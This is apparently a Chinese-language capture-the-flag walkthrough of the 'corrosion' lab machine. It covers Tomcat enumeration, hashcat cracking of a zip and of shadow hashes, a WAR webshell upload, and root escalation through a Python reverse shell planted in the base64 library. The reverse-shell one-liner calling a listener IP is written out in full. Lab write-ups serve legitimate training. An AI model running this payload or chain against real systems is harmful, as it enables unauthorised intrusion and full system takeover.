15. corrosion
WEB
扫全端口。
![image-20220108095613642](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180759980-138810314.png)
发现80 端口 apache2 默认页面
![image-20220108095632252](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180800780-1834063169.png)
8080 端口是 tomcat 的页面
![image-20220108095700993](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180801406-1398274741.png)
分别扫两个站点的目录,但是 80 端口没有什么东西,8080端口有以下内容。
![image-20220108110207778](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180802002-1813774783.png)
backup.zip 很瞩目,值得一看。此外 readme.txt 发现以下内容
![image-20220108110249290](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180802554-2099817202.png)
压缩包下载下来发现需要密码。
![image-20220108110309187](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180803160-10855975.png)
使用 hashcat 进行破解。rockyou.txt 这个字典包含了 3 kw 左右的常用密码。rockyou/rockyou.txt.tar.gz at master · zacheller/rockyou · GitHub
zip2john backup.zip > zip.john
# 去掉无用的前后缀
hashcat -m 17220 -a 0 zip.john dict/password/rockyou.txt
去掉 zip.john 中无用的前后缀,以便可以被 hashcat 识别
![image-20220108171719371](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180803833-1604174019.png)
根据hash 内容可知,应选择 17220
![image-20220108171832263](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180804655-2056676887.png)
![image-20220108171452012](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180805604-2113424982.png)
最终密码 @administrator_hi5
解压后有以下文件,最值得注意的就是 tomcat 的凭证
![image-20220108172043746](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180806471-2040256969.png)
使用凭证登录到 tomcat 后台,上传 war 包
webshell/webshell.war at master · BustedSec/webshell · GitHub
![image-20220108182111414](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180807087-2143957827.png)
java runtime exec 命令需要进行编码
java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
![image-20220108182038158](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180807742-1033291608.png)
进行执行,成功获得 webshell
![image-20220108181904738](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180808342-1521402878.png)
提权
利用获取的密码尝试密码喷洒
![image-20220109130026295](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180808982-270617307.png)
浏览其家目录文件,发现 look 命令。具有 s 权限。
![image-20220109133256199](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180809502-705602008.png)
用它查看 shadow 密码。
![image-20220109133212086](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180810142-797839637.png)
使用 hashcat 进行破解
hashcat -m 1800 -a 0 zip.john dict/password/rockyou.txt -o pass
成功破解 randy 用户口令。
![image-20220110130854342](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180810932-1616105295.png)
使用 ssh 切换到 randy 用户
![image-20220110130920710](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180811749-299528711.png)
发现其可以以 root 用户执行 python 脚本。
![image-20220110132712298](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180812361-450780960.png)
![image-20220110132734879](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180813359-139171609.png)
那就直接往base64 库里面写后门。搜索base64 库文件,结合 python 版本,可知应该修改最后一个。
![image-20220110132757689](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180814174-1558260469.png)
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.200.128",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
将这段代码插入到 base64 库中。
![image-20220110132821824](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180814883-429671409.png)
监听端口,进行执行
![image-20220110132533130](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180815390-629630913.png)
成功获取 root
![image-20220110132442377](https://img2020.cnblogs.com/blog/1512048/202201/1512048-20220113180816001-1251180632.png)